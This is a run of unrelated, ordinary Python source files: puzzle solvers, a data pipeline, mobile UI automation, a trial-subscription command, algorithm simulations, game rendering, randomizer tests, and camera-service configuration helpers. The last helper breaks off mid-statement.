    sa.Column('name', sa.String(length=140), nullable=False),
    sa.Column('FEN', sa.String(length=140), nullable=True),
    sa.PrimaryKeyConstraint('name')
    )
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('openings')
    # ### end Alembic commands ###


input_data = """6,10
0,14
9,10
0,3
10,4
4,11
6,0
6,12
4,1
0,13
10,12
3,4
3,0
8,4
1,10
2,14
8,10
9,0

fold along y=7
fold along x=5""".split('\n')
input_data = open('task13_input').read().split('\n')

def parse(input_data):
    dots = []
    folds = []
    it = iter(input_data)
    for line in it:
        if not line:
            break
        x, y = line.split(',')
        dots.append((int(x), int(y)))
    max_x = sorted(dots, key=lambda d: d[0])[-1][0]
    max_y = sorted(dots, key=lambda d: d[1])[-1][1]
    matrix = []
    for i in range(max_y + 1):
        matrix.append([0 for _ in range(max_x + 1)])
    for d in dots:
        matrix[d[1]][d[0]] = 1
    for line in it:
        if not line:
            break
        if 'x' in line:
            x = int(line.split('=')[1])
            folds.append((x, 0))
        else:
            y = int(line.split('=')[1])
            folds.append((0, y))
    return matrix, folds

def _debug(matrix):
    for r in matrix:
        print(''.join(map(str, r)).replace('0', ' ').replace('1', '#'))

def _count(matrix):
    return sum(sum(r) for r in matrix)

def solve(matrix, folds, steps):
    for (x, y) in folds[:steps]:
        if y:
            start = len(matrix[:y]) - len(matrix[y + 1:])
            for i, ii in enumerate(range(start, y)):
                mirror_y = len(matrix) - i - 1
                for k, mirror_x in enumerate(matrix[mirror_y]):
                    matrix[ii][k] = matrix[ii][k] or mirror_x
            matrix = matrix[:y]
        else:
            start = len(matrix[0][:x]) - len(matrix[0][x + 1:])
            for i, row in enumerate(matrix):
                for j, jj in enumerate(range(start, x)):
                    mirror_x = len(row) - j - 1
                    row[jj] = row[jj] or row[mirror_x]
                matrix[i] = matrix[i][:x]
    return matrix

if __name__ == '__main__':
    print(_count(solve(*parse(input_data), steps=1)))
    _debug(solve(*parse(input_data), steps=20))


a=[int(x) for x in input().split(",")]
a.sort()
maxmum=a[len(a)-1]-a[0]+1-len(a)-min(a[len(a)-1]-a[len(a)-2]-1,a[1]-a[0]-1)
start=0
end=0
minmum=0
now=0
while end<len(a):
    flag = 0
    if(a[end]-a[start]+1<=len(a)):
        if(a[end]-a[start]+1-len(a)==-1):
            flag=1
        now+=1
        end+=1
    else:
        now-=1
        start+=1

    minmum=max(minmum,now-flag)

minmum=len(a)-minmum

print([minmum,maxmum])


import logging
import apache_beam as beam
from apache_beam.io import WriteToText
from apache_beam.io.gcp.bigquery import ReadFromBigQuery, WriteToBigQuery

# change the abbreviated US state names to their full name
class StandardizeState(beam.DoFn):
  def process(self, element):
    # get individual columns from element
    # get state name in uppercase without leading/trailing whitespace
    l_id = element['id']
    fips = element['fips']
    admin2 = element['admin2']
    city = element['city']
    state = element['state'].strip().upper()
    country = element['country']
    lat = element['latitude']
    longi = element['longitude']
    combine = element['combined_key']

    # state abbreviation dictionary
    us_states = {
    'AL': 'Alabama',
    'AK': 'Alaska',
    'AS': 'American Samoa',
    'AZ': 'Arizona',
    'AR': 'Arkansas',
    'CA': 'California',
    'CO': 'Colorado',
    'CT': 'Connecticut',
    'DE': 'Delaware',
    'DC': 'District of Columbia',
    'FL': 'Florida',
    'GA': 'Georgia',
    'GU': 'Guam',
    'HI': 'Hawaii',
    'ID': 'Idaho',
    'IL': 'Illinois',
    'IN': 'Indiana',
    'IA': 'Iowa',
    'KS': 'Kansas',
    'KY': 'Kentucky',
    'LA': 'Louisiana',
    'ME': 'Maine',
    'MD': 'Maryland',
    'MA': 'Massachusetts',
    'MI': 'Michigan',
    'MN': 'Minnesota',
    'MS': 'Mississippi',
    'MO': 'Missouri',
    'MT': 'Montana',
    'NE': 'Nebraska',
    'NV': 'Nevada',
    'NH': 'New Hampshire',
    'NJ': 'New Jersey',
    'NM': 'New Mexico',
    'NY': 'New York',
    'NC': 'North Carolina',
    'ND': 'North Dakota',
    'MP': 'Northern Mariana Islands',
    'OH': 'Ohio',
    'OK': 'Oklahoma',
    'OR': 'Oregon',
    'PA': 'Pennsylvania',
    'PR': 'Puerto Rico',
    'RI': 'Rhode Island',
    'SC': 'South Carolina',
    'SD': 'South Dakota',
    'TN': 'Tennessee',
    'TX': 'Texas',
    'UT': 'Utah',
    'VT': 'Vermont',
    'VI': 'Virgin Islands',
    'VA': 'Virginia',
    'WA': 'Washington',
    'WV': 'West Virginia',
    'WI': 'Wisconsin',
    'WY': 'Wyoming'
    }

    # return record with new state name
    if (state in us_states.keys()):
        state = us_states[state]
        record = {'id': l_id, 'fips': fips, 'admin2': admin2, 'city': city, 'state': state, 'country': country,'latitude': lat,'longitude': longi, 'combined_key': combine}
        return [record]
    # return None for state since US is not a state name
    elif (state == 'US'):
        record = {'id': l_id, 'fips': fips, 'admin2': admin2, 'city': city, 'state': None, 'country': country,'latitude': lat,'longitude': longi, 'combined_key': combine}
        return [record]
    # state did not match a dictionary key, print element for debugging
    else:
        print(element)
        return

def run():
     # set up
     PROJECT_ID = 'lunar-analyzer-302702'
     BUCKET = 'gs://apachebeam-bucket/temp'
     options = {
     'project': PROJECT_ID
     }
     opts = beam.pipeline.PipelineOptions(flags=[], **options)

     # use DirectRunner
     p = beam.Pipeline('DirectRunner', options=opts)

     # BigQuery query with LIMIT clause for less than 500
     sql = 'SELECT * FROM datamart.new_locations WHERE country="US" AND LENGTH(TRIM(state))=2 ORDER BY city, state LIMIT 499'
     bq_source = ReadFromBigQuery(query=sql, use_standard_sql=True, gcs_location=BUCKET)

     # create a PCollection from the BigQuery query results
     query_results = p | 'Read from BQ' >> beam.io.Read(bq_source)

     # feed query_results PCollection to PTransform Pardo(StandardizeState()) to get a PCollection of elements with standarized state names
     state_pcoll = query_results | 'Standardize State Names' >> beam.ParDo(StandardizeState())

     # write the PCollection of standardized state locations to 'output.txt'
     state_pcoll | 'Log output' >> WriteToText('output.txt')

     # setup variables for writing the PCollection of unique locations to a new BigQuery table
     dataset_id = 'datamart'
     table_id = PROJECT_ID + ':' + dataset_id + '.' + 'locations_Beam'
     schema_id = 'id:INTEGER,fips:INTEGER,admin2:STRING,city:STRING,state:STRING,country:STRING,latitude:FLOAT,longitude:FLOAT,combined_key:STRING'

     # write the PCollection of standardized state locations to a new BigQuery table or replace the table if it exists
     state_pcoll | 'Write to BQ' >> WriteToBigQuery(table=table_id, schema=schema_id, custom_gcs_temp_location=BUCKET, write_disposition='WRITE_TRUNCATE')

     # run the pipeline until finshed
     result = p.run()
     result.wait_until_finish()

# call run()
if __name__ == '__main__':
  logging.getLogger().setLevel(logging.ERROR)
  run()


__author__ = 'TANUKI'
#coding:utf-8

from appium import webdriver
import os,time
import huadong
desired_caps = {}
desired_caps['platformName'] = 'Android'
desired_caps['platformVersion'] = '7.1.1'
desired_caps['noReset'] = True  # 不需要每次都安装apk
desired_caps['deviceName'] = 'vivo-vivo_x9-be1bd33f'  # vivo Y51A
desired_caps['resetKeyboard'] = 'True'
desired_caps['appPackage'] = 'com.lovebizhi.wallpaper'
desired_caps['appActivity'] = 'com.adesk.picasso.view.MainActivity'

driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)

time.sleep(15)
driver.close_app()

while 1:
    time.sleep(3)
    driver.find_element_by_android_uiautomator('new UiSelector().className("android.widget.TextView").text("一键换壁纸")').click()
    #driver.tap([313,1312][511,1510], 500)


"""
Um programa que lê vários números e coloca em uma lista. Depois disso o programa mostra quantos números foram digitados, a lista de valores ordenada de forma decrescente, se o valor 5 foi digitado e está ou não na lista.
"""
lista = []
while True:
    numero = lista.append(int(input('Digite um valor: ')))
    continuar = str(input('Quer continuar? [S/N] ')).upper().strip()[0]
    if continuar == 'N':
        break
lista.sort(reverse=True)
print(f'{"-=-" * 20}'
      f'\nVocê digitou {len(lista)} elementos'
      f'\nOs valores em ordem decrescente são {lista}')
if 5 in lista:
    print('O valor 5 faz parte da lista!')
else:
    print('O número 5 não faz parte da lista!')


from django.utils.html import strip_tags
from django.core.management.base import BaseCommand, CommandError
from apps.subscription.models import *
from django.template.loader import render_to_string
from django.core.mail import EmailMultiAlternatives
from rollbardecorator import logexception

import datetime
import logging

logger = logging.getLogger(__name__)

PLAN_TO_USE = 3002  # the gold monthly plan

class Command(BaseCommand):

    @logexception
    def handle(self, *args, **options):
        today = datetime.datetime.now()
        mdiff = datetime.timedelta(hours=-2)
        date_2hours_ago = today + mdiff
        mdiff = datetime.timedelta(hours=-1)
        date_1hours_ago = today + mdiff

        for organization in Organization.objects.filter(created__gte=date_2hours_ago, created__lte=date_1hours_ago):
            sub = organization.subscription
            if not sub.had_trial and sub.plan.price_val == Decimal("0.0") and sub.token == "":
                self.setupAccount(organization, sub)
                self.sendEmail( organization )
                # self.logAction(organization)

    # def logAction( self, org ):
    #     # record_event(org.slug, "auto_trial")
    #     try:
    #         k = KM()
    #         k.identify(org.slug);
    #         k.set({'sub_mode' : 'auto_trial_2'})
    #         k.record('auto_trial')
    #     except:
    #         logger.error("could not update KM")

    def setupAccount(self, organization, sub):
        # plan = getSubscriptionPlan( PLAN_TO_USE )
        organization.subscription.plan_id = PLAN_TO_USE
        organization.subscription.expires = datetime.date.today() + datetime.timedelta(days=30)
        organization.subscription.is_trial = True
        organization.subscription.had_trial = True
        organization.subscription.save()

    def sendEmail(self, org ):
        logger.info("Sending email to %s " % org.creator.email)
        subject = "Set up your premium trial"
        body = render_to_string("subscription/emails/default_trial.txt" , {"org_slug":org.slug} )
        text_body = strip_tags(body)
        msg = EmailMultiAlternatives(subject, text_body, "Ajay Reddy <support@scrumdo.com>" , [ probable_email(org.creator) ])
        msg.attach_alternative(body, "text/html")
        msg.send()


import page as p
import frames as f
from EventType import EventType

class LFU(p.Page):
    def __init__(self, page_sequence, frame_count, page_count):
        super().__init__(page_sequence, frame_count, page_count)
        self.frames = []
        for i in range(frame_count):
            self.frames.append(LFU_Frames(i, page_count))
        self.lfu()

    def lfu(self):
        """
        Simulates the LFU algorithm.
        """
        index = 0
        for page in self.page_sequence:
            # Check if page is in a frame
            if self.check_for_page(page):
                self.page_hit_events(index)
                self.frames[self.find_page(page)].increment_page_frequency()
            # Check if there is an empty frame
            elif self.check_for_empty_frame():
                self.page_fault_events(index)
                self.add_page_to_empty_frame(page, index)
            # If there is no empty frame and page is not in a frame
            # Find the oldest page and replace it
            else:
                self.page_fault_events(index)
                self.page_replacement_event(
                    index, page, self.find_least_frequently_used())

            index += 1

        self.calculate_rates()
        self.print_lfu_table()

    def find_least_frequently_used(self):
        least_frequently_used = self.frames[0]
        for frame in self.frames:
            if frame.get_page_frequency() < least_frequently_used.get_page_frequency():
                least_frequently_used = frame
            elif frame.get_page_frequency() == least_frequently_used.get_page_frequency():
                if frame.get_frame_current_page_birth() < least_frequently_used.get_frame_current_page_birth():
                    least_frequently_used = frame
        return least_frequently_used.get_frame_id()

    def print_lfu_table(self):
        """
        Prints the LFU table.
        """
        print(f"+------------+")
        print(f"| LFU TABLE  |", )

        self.print_sequence()
        self.print_frames()
        self.print_rates()

class LFU_Frames(f.Frame):
    def __init__(self, frame_count, event_count):
        super().__init__(frame_count, event_count)
        self.page_frequency = 0

    def get_page_frequency(self):
        return self.page_frequency

    def increment_page_frequency(self):
        self.page_frequency += 1

    def replace_page(self, page, index):
        self.frame_current_page = page
        self.frame_current_page_age = 0
        self.frame_current_page_birth = index
        self.page_frequency = 0
        self.set_current_event(index, EventType.PAGE_REPLACEMENT, page)

def main():
    # page_sequence = [7, 0, 1, 2, 0, 3, 4, 2, 3, 0, 3, 2, 1, 2, 0, 1, 7]
    # frame_count = 3
    # page_count = 17

    page_sequence = [7, 0, 1, 2, 0, 3, 0, 4,
                     2, 3, 0, 3, 2, 1, 2, 0, 1, 7, 0, 1]
    frame_count = 3
    page_count = 20
    lfu = LFU(page_sequence, frame_count, page_count)

if __name__ == "__main__":
    main()


import pygame
from src.constants import SPRITES_COLUMMS, SPRITES_LINES, sprite_size, Y_SIZE,\
    X_SIZE

pygame.init()
window_title = "Save MacGyver"
pygame.display.set_caption(window_title)
windows_surface = (SPRITES_COLUMMS, SPRITES_LINES)
window = pygame.display.set_mode(windows_surface)
rect_window = window.get_rect()

IMAGE_REF = {"floor": "src/ressource/Floor.png",
             "wall": "src/ressource/Wall4.png",
             "player": "src/ressource/MacGyver.png",
             "guardian": "src/ressource/Gardien.png",
             "needle": "src/ressource/aiguille.png",
             "pipe": "src/ressource/tube_plastique.png",
             "ether": "src/ressource/ether.png"
             }

def load_image(image):
    return pygame.transform.scale(
        pygame.image.load(image), (sprite_size, sprite_size)).convert()

def display(matrix, message, message_item, message_win):
    window.fill((31, 49, 52))
    for i in range(Y_SIZE):
        for j in range(X_SIZE):
            if matrix[i][j] == '+':
                window.blit(load_image(
                    IMAGE_REF["wall"]), (j * sprite_size,
                                         (i + 1) * sprite_size))
            elif matrix[i][j] == '-':
                window.blit(load_image(
                    IMAGE_REF["floor"]), (j * sprite_size,
                                          (i + 1) * sprite_size))
            elif matrix[i][j] == 'D':
                window.blit(load_image(
                    IMAGE_REF["player"]), (j * sprite_size,
                                           (i + 1) * sprite_size))
            elif matrix[i][j] == 'A':
                window.blit(load_image(
                    IMAGE_REF["guardian"]), (j * sprite_size,
                                             (i + 1) * sprite_size))
            elif matrix[i][j] == 'needle':
                window.blit(load_image(
                    IMAGE_REF["needle"]), (j * sprite_size,
                                           (i + 1) * sprite_size))
            elif matrix[i][j] == 'plastic_tube':
                window.blit(load_image(
                    IMAGE_REF["pipe"]), (j * sprite_size,
                                         (i + 1) * sprite_size))
            elif matrix[i][j] == 'ether':
                window.blit(load_image(
                    IMAGE_REF["ether"]), (j * sprite_size,
                                          (i + 1) * sprite_size))

    font = pygame.font.SysFont("helvetica.ttc", 20)
    message = font.render(
        message, True, pygame.Color("#FFFFFF"))
    message_rect = message.get_rect()
    message_rect.bottom = rect_window.bottom
    window.blit(message, message_rect)

    font_item = pygame.font.SysFont("helvetica.ttc", 20)
    message_item = font_item.render(
        message_item, True, pygame.Color("#FFFFFF"))
    message_rect = message.get_rect()
    message_rect.left = rect_window.left
    window.blit(message_item, message_rect)

    font_win = pygame.font.SysFont("helvetica bold.ttc", 60)
    message_win = font_win.render(
        message_win, True, pygame.Color("#FFFFFF"))
    message_rect = message_win.get_rect()
    message_rect.center = rect_window.center
    window.blit(message_win, message_rect)
    pygame.display.flip()


import sys

class Dynamic_array:
    def __init__(self):
        self.len = 0
        self.capacity = 1
        self.A = [0] * 2

    def __getitem__(self, k):
        return self.A[k]

    def _resize(self, new_cap):
        B = [0] * new_cap
        for k in range(self.len):
            B[k] = self.A[k]
        self.A = B
        self.capacity = new_cap

    def append(self, val):
        if self.len == self.capacity:
            self._resize(2 * self.capacity)
        self.A[self.len] = val
        self.len += 1

    def insert_at(self, val, index):
        if self.len == self.capacity:
            self._resize(2 * self.capacity)

        for i in range(self.len - 1, index - 1, -1):
            self.A[i + 1] = self.A[i]

        self.A[index] = val
        self.len += 1

    def remove_at(self, index):
        if 4 * self.len == self.capacity:
            self._resize(int(self.capacity / 2))
        if index == self.len - 1:
            self.A[index] = 0
            self.len -= 1
            return
        for i in range(index, self.len - 1):
            self.A[i] = self.A[i + 1]

        self.A[self.len - 1] = 0
        self.len -= 1

class Stack:

    def __init__(self):
        self.stack = Dynamic_array()

    def push(self, value):
        self.stack.insert_at(value, 0)

    def pop(self):
        remove_value = self.stack.A[0]
        self.stack.remove_at(0)
        return remove_value

    def operation(self, sign):
        if self.stack.len == 1:
            return
        a = self.pop()
        b = self.pop()
        if sign[0] == '+':
            self.push(b + a)
        elif sign[0] == '-':
            self.push(b - a)
        else:
            self.push(b * a)

stack = Stack()
input_list = sys.stdin.readline().split(' ')

for element in input_list:
    try:
        stack.push(int(element))
    except ValueError:
        stack.operation(element)

sys.stdout.write(str(stack.stack.A[0]) + '\n')

Part_1/Алгоритмы и структуры данных/Homeworks/base_data_structure/TASK_B_new.py


from turtle import Turtle, done

t = Turtle()
t.speed("fastest")

for i in range(360):
    t.color("red")
    for _ in range(4):
        t.forward(100)
        t.right(90)
    t.setheading(i)
    t.hideturtle()
done()


from . import KH2TestBase
from ..Names import ItemName, LocationName

global_all_possible_forms = [ItemName.ValorForm, ItemName.WisdomForm, ItemName.LimitForm, ItemName.MasterForm, ItemName.FinalForm] + [ItemName.AutoValor, ItemName.AutoWisdom, ItemName.AutoLimit, ItemName.AutoMaster, ItemName.AutoFinal]

class KH2TestFormBase(KH2TestBase):
    allForms = [ItemName.ValorForm, ItemName.WisdomForm, ItemName.LimitForm, ItemName.MasterForm, ItemName.FinalForm]
    autoForms = [ItemName.AutoValor, ItemName.AutoWisdom, ItemName.AutoLimit, ItemName.AutoMaster, ItemName.AutoFinal]
    allLevel2 = [LocationName.Valorlvl2, LocationName.Wisdomlvl2, LocationName.Limitlvl2, LocationName.Masterlvl2,
                 LocationName.Finallvl2]
    allLevel3 = [LocationName.Valorlvl3, LocationName.Wisdomlvl3, LocationName.Limitlvl3, LocationName.Masterlvl3,
                 LocationName.Finallvl3]
    allLevel4 = [LocationName.Valorlvl4, LocationName.Wisdomlvl4, LocationName.Limitlvl4, LocationName.Masterlvl4,
                 LocationName.Finallvl4]
    allLevel5 = [LocationName.Valorlvl5, LocationName.Wisdomlvl5, LocationName.Limitlvl5, LocationName.Masterlvl5,
                 LocationName.Finallvl5]
    allLevel6 = [LocationName.Valorlvl6, LocationName.Wisdomlvl6, LocationName.Limitlvl6, LocationName.Masterlvl6,
                 LocationName.Finallvl6]
    allLevel7 = [LocationName.Valorlvl7, LocationName.Wisdomlvl7, LocationName.Limitlvl7, LocationName.Masterlvl7,
                 LocationName.Finallvl7]
    driveToAuto = {
        ItemName.FinalForm:  ItemName.AutoFinal,
        ItemName.MasterForm: ItemName.AutoMaster,
        ItemName.LimitForm:  ItemName.AutoLimit,
        ItemName.WisdomForm: ItemName.AutoWisdom,
        ItemName.ValorForm:  ItemName.AutoValor,
    }
    AutoToDrive = {Auto: Drive for Drive, Auto in driveToAuto.items()}
    driveFormMap = {
        ItemName.ValorForm:  [LocationName.Valorlvl2,
                              LocationName.Valorlvl3,
                              LocationName.Valorlvl4,
                              LocationName.Valorlvl5,
                              LocationName.Valorlvl6,
                              LocationName.Valorlvl7],
        ItemName.WisdomForm: [LocationName.Wisdomlvl2,
                              LocationName.Wisdomlvl3,
                              LocationName.Wisdomlvl4,
                              LocationName.Wisdomlvl5,
                              LocationName.Wisdomlvl6,
                              LocationName.Wisdomlvl7],
        ItemName.LimitForm:  [LocationName.Limitlvl2,
                              LocationName.Limitlvl3,
                              LocationName.Limitlvl4,
                              LocationName.Limitlvl5,
                              LocationName.Limitlvl6,
                              LocationName.Limitlvl7],
        ItemName.MasterForm: [LocationName.Masterlvl2,
                              LocationName.Masterlvl3,
                              LocationName.Masterlvl4,
                              LocationName.Masterlvl5,
                              LocationName.Masterlvl6,
                              LocationName.Masterlvl7],
        ItemName.FinalForm:  [LocationName.Finallvl2,
                              LocationName.Finallvl3,
                              LocationName.Finallvl4,
                              LocationName.Finallvl5,
                              LocationName.Finallvl6,
                              LocationName.Finallvl7],
    }
    # global_all_possible_forms = allForms + autoForms

class TestDefaultForms(KH2TestFormBase):
    """
    Test default form access rules.
    """
    options = {
        "AutoFormLogic":  False,
        "FinalFormLogic": "light_and_darkness"
    }

    def test_default_Auto_Form_Logic(self):
        allPossibleForms = global_all_possible_forms
        # this tests with a light and darkness in the inventory.
        self.collect_all_but(allPossibleForms)
        for form in self.allForms:
            self.assertFalse((self.can_reach_location(self.driveFormMap[form][0])), form)
            self.collect(self.get_item_by_name(self.driveToAuto[form]))
            self.assertFalse((self.can_reach_location(self.driveFormMap[form][0])), form)

    def test_default_Final_Form(self):
        allPossibleForms = global_all_possible_forms
        self.collect_all_but(allPossibleForms)
        self.collect_by_name(ItemName.FinalForm)
        self.assertTrue((self.can_reach_location(LocationName.Finallvl2)))
        self.assertTrue((self.can_reach_location(LocationName.Finallvl3)))
        self.assertFalse((self.can_reach_location(LocationName.Finallvl4)))

    def test_default_without_LnD(self):
        allPossibleForms = self.allForms
        self.collect_all_but(allPossibleForms)
        for form, levels in self.driveFormMap.items():
            # final form is unique and breaks using this test. Tested above.
            if levels[0] == LocationName.Finallvl2:
                continue
            for driveForm in self.allForms:
                if self.count(driveForm) >= 1:
                    for _ in range(self.count(driveForm)):
                        self.remove(self.get_item_by_name(driveForm))
            allFormsCopy = self.allForms.copy()
            allFormsCopy.remove(form)
            self.collect(self.get_item_by_name(form))
            for _ in range(self.count(ItemName.LightDarkness)):
                self.remove(self.get_item_by_name(ItemName.LightDarkness))
            self.assertTrue((self.can_reach_location(levels[0])), levels[0])
            self.assertTrue((self.can_reach_location(levels[1])), levels[1])
            self.assertFalse((self.can_reach_location(levels[2])), levels[2])
            for i in range(3):
                self.collect(self.get_item_by_name(allFormsCopy[i]))
                # for some reason after collecting a form it can pick up light and darkness
                for _ in range(self.count(ItemName.LightDarkness)):
                    self.remove(self.get_item_by_name(ItemName.LightDarkness))

                self.assertTrue((self.can_reach_location(levels[2 + i])))
                if i < 2:
                    self.assertFalse((self.can_reach_location(levels[3 + i])))
                else:
                    self.collect(self.get_item_by_name(allFormsCopy[i + 1]))
                    for _ in range(self.count(ItemName.LightDarkness)):
                        self.remove(self.get_item_by_name(ItemName.LightDarkness))
                    self.assertTrue((self.can_reach_location(levels[3 + i])))

    def test_default_with_lnd(self):
        allPossibleForms = self.allForms
        self.collect_all_but(allPossibleForms)
        for form, levels in self.driveFormMap.items():
            if form != ItemName.FinalForm:
                for driveForm in self.allForms:
                    for _ in range(self.count(driveForm)):
                        self.remove(self.get_item_by_name(driveForm))
                allFormsCopy = self.allForms.copy()
                allFormsCopy.remove(form)
                self.collect(self.get_item_by_name(ItemName.LightDarkness))
                self.assertFalse((self.can_reach_location(levels[0])))
                self.collect(self.get_item_by_name(form))

                self.assertTrue((self.can_reach_location(levels[0])))
                self.assertTrue((self.can_reach_location(levels[1])))
                self.assertTrue((self.can_reach_location(levels[2])))
                self.assertFalse((self.can_reach_location(levels[3])))
                for i in range(2):
                    self.collect(self.get_item_by_name(allFormsCopy[i]))
                    self.assertTrue((self.can_reach_location(levels[i + 3])))
                    if i <= 2:
                        self.assertFalse((self.can_reach_location(levels[i + 4])))

class TestJustAForm(KH2TestFormBase):
    # this test checks if you can unlock final form with just a form.
    options = {
        "AutoFormLogic":  False,
        "FinalFormLogic": "just_a_form"
    }

    def test_just_a_form_connections(self):
        allPossibleForms = self.allForms
        self.collect_all_but(allPossibleForms)
        allPossibleForms.remove(ItemName.FinalForm)
        for form, levels in self.driveFormMap.items():
            for driveForm in self.allForms:
                for _ in range(self.count(driveForm)):
                    self.remove(self.get_item_by_name(driveForm))
            if form != ItemName.FinalForm:
                # reset the forms
                allFormsCopy = self.allForms.copy()
                allFormsCopy.remove(form)
                self.assertFalse((self.can_reach_location(levels[0])))
                self.collect(self.get_item_by_name(form))
                self.assertTrue((self.can_reach_location(levels[0])))
                self.assertTrue((self.can_reach_location(levels[1])))
                self.assertTrue((self.can_reach_location(levels[2])))

                # level 4 of a form. This tests if the player can unlock final form.
                self.assertFalse((self.can_reach_location(levels[3])))
                # amount of forms left in the pool are 3. 1 already collected and one is final form.
                for i in range(3):
                    allFormsCopy.remove(allFormsCopy[0])
                    # so we don't accidentally collect another form like light and darkness in the above tests.
                    self.collect_all_but(allFormsCopy)
                    self.assertTrue((self.can_reach_location(levels[3 + i])), levels[3 + i])
                    if i < 2:
                        self.assertFalse((self.can_reach_location(levels[4 + i])), levels[4 + i])

class TestAutoForms(KH2TestFormBase):
    options = {
        "AutoFormLogic":  True,
        "FinalFormLogic": "light_and_darkness"
    }

    def test_Nothing(self):
        KH2TestBase()

    def test_auto_forms_level_progression(self):
        allPossibleForms = self.allForms + [ItemName.LightDarkness]
        # state has all auto forms
        self.collect_all_but(allPossibleForms)
        allPossibleFormsCopy = allPossibleForms.copy()
        collectedDrives = []
        i = 0
        for form in allPossibleForms:
            currentDriveForm = form
            collectedDrives += [currentDriveForm]
            allPossibleFormsCopy.remove(currentDriveForm)
            self.collect_all_but(allPossibleFormsCopy)
            for driveForm in self.allForms:
                # +1 every iteration.
                self.assertTrue((self.can_reach_location(self.driveFormMap[driveForm][i])), driveForm)
                # making sure having the form still gives an extra drive level to its own form.
                if driveForm in collectedDrives and i < 5:
                    self.assertTrue((self.can_reach_location(self.driveFormMap[driveForm][i + 1])), driveForm)
            i += 1


import re
import os
import glob
import json
import time
import requests
import threading
import fcntl
import socket
import struct
import mycommon as com
from math import sqrt

global first_time_set
global last_time_set
global header
global server_url
global sd_keys
global nfps
global people_counting_enabled
global aforo_enabled
global social_distance_enabled
global social_distance_url
global people_counting_url
global plate_detection_url

header = None

first_time_set = set()
last_time_set = set()

# #### GENERIC FUNCTIONS

def log_error(msg, _quit = True):
    print("-- PARAMETER ERROR --\n"*5)
    print(" %s \n" % msg)
    print("-- PARAMETER ERROR --\n"*5)
    if _quit:
        quit()
    else:
        return False

def api_get_number_of_frames_per_second():
    '''
    TODO: function not yet defined
    '''
    return None

def file_exists(file_name):
    try:
        with open(file_name) as f:
            return file_name
    except OSError as e:
        return False

def open_file(file_name, option='a+'):
    if file_exists(file_name):
        return open(file_name, option)
    return False

def create_file(file_name, content=None):
    if file_exists(file_name):
        os.remove(file_name)
        if file_exists(file_name):
            raise Exception('unable to delete file: %s' % file_name)
    if content:
        with open(file_name, 'w+') as f:
            f.write(content)
    else:
        with open(file_name, 'w+') as f:
            f.close()

    return True

def get_number_of_frames_per_second():
    global nfps

    nfps = api_get_number_of_frames_per_second()

    if nfps is None:
        return 16

    return nfps

def get_supported_actions():
    valid_values = ('GET', 'POST', 'PUT', 'DELETE')
    return valid_values

def get_timestamp():
    return int(time.time() * 1000)

def set_header(token_file = None):
    if token_file is None:
        token_file = '.token'

    global header

    if header is None:
        if isinstance(token_file, str):
            token_handler = open_file(token_file, 'r+')
            if token_handler:
                header = {'Content-type': 'application/json', 'X-KAIROS-TOKEN': token_handler.read().split('\n')[0]}
                print('Header correctly set')
                return True

    return False

def getHwAddr(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', bytes(ifname, 'utf-8')[:15]))
    return ':'.join('%02x' % b for b in info[18:24])

def get_ip_address(ifname):
    return [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(("8.8.8.8", 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]

def get_machine_mac_addresses():
    list_of_interfaces = [item for item in os.listdir('/sys/class/net/') if item != 'lo']
    macaddress_list = []

    for iface_name in list_of_interfaces:
        ip = get_ip_address(iface_name)
        if ip:
            macaddress_list.append(getHwAddr(iface_name))
            return macaddress_list

def get_server_info_from_local_file(filename, _quit=True):
    if file_exists(filename):
        with open(filename) as f:
            data = json.load(f)
            if isinstance(data, dict):
                return data
            return log_error("data unknown error, data is not a dictionary: {}")
    else:
        return log_error("Unable to read the device configuration from local file: {}".format(filename), _quit)

def parse_parameters_and_values_from_config(config_data):
    # filter config and get only data for this server using the mac to match
    config_data = get_config_filtered_by_local_mac(config_data)

    # filter config and get only data of active services
    return get_config_filtered_by_active_service(config_data)

def get_config_filtered_by_local_mac(config_data):
    '''
    By now we only support one nano server and one interface
    but it can be a big server with multiple interfaces so I
    leave the logic with to handle this option
    '''
    services_data = {}
    for key in config_data.keys():
        if mac_address_in_config(key):
            services_data[key] = config_data[key]
    if services_data:
        return services_data

    log_error("The provided configuration does not match any of server interfaces mac address")

def get_config_filtered_by_active_service(config_data):
    if not isinstance(config_data, dict):
        log_error("Configuration error - Config data must be a dictionary - type: {} / content: {}".
                  format(type(config_data), config_data))
    active_services = {}

    # at this point there should be only one server mac, but we loop in case we have many multiple networks interfaces
    for server_mac in config_data.keys():
        #  we loop over all the different cameras attach to this server
        for camera_mac in config_data[server_mac]:
            # we loop over all the services assigned to the camera
            for service in config_data[server_mac][camera_mac]:
                # if the service is enabled we add it to the active services
                if 'enabled' in config_data[server_mac][camera_mac][service] and \
                        config_data[server_mac][camera_mac][service]['enabled'] is True:
                    if 'source' not in config_data[server_mac][camera_mac][service]:
                        log_error("Service {} must have a source (video or live streaming)".format(service))

                    # Create new key only for each of the active services
                    new_key_name = 'srv_' + server_mac + "_camera_" + camera_mac + '_' + service
                    active_services[new_key_name] = {service: config_data[server_mac][camera_mac][service]}

    if len(active_services) < 1:
        com.log_error("\nConfiguration does not contain any active service for this server: \n\n{}".format(config_data))

    return active_services

def mac_address_in_config(mac_config):
    for machine_id in com.get_machine_mac_addresses():
        if mac_config == machine_id:
            return True
    return False

def send_json(payload, action, url=None, **options):
    set_header()
    global header

    if action not in get_supported_actions() or url is None:
        raise Exception('Requested action: ({}) not supported. valid options are:'.format(action, get_supported_actions()))

    retries = options.get('retries', 2)
    sleep_time = options.get('sleep_time', 1)
    expected_response = options.get('expected_response', 200)
    abort_if_exception = options.get('abort_if_exception', True)

    data = json.dumps(payload)

    # emilio comenta esto para insertar en MongoDB
    # return True

    for retry in range(retries):
        try:
            if action == 'GET':
                r = requests.get(url, data=data, headers=header)
            elif action == 'POST':
                r = requests.post(url, data=data, headers=header)
            elif action == 'PUT':
                r = requests.put(url, data=data, headers=header)
            else:
                r = requests.delete(url, data=data, headers=header)
            return r
        except requests.exceptions.ConnectionError as e:
            time.sleep(sleep_time)
            if retry == retries - 1 and abort_if_exception:
                raise Exception("Unable to Connect to the server after {} retries\n. Original exception: {}".
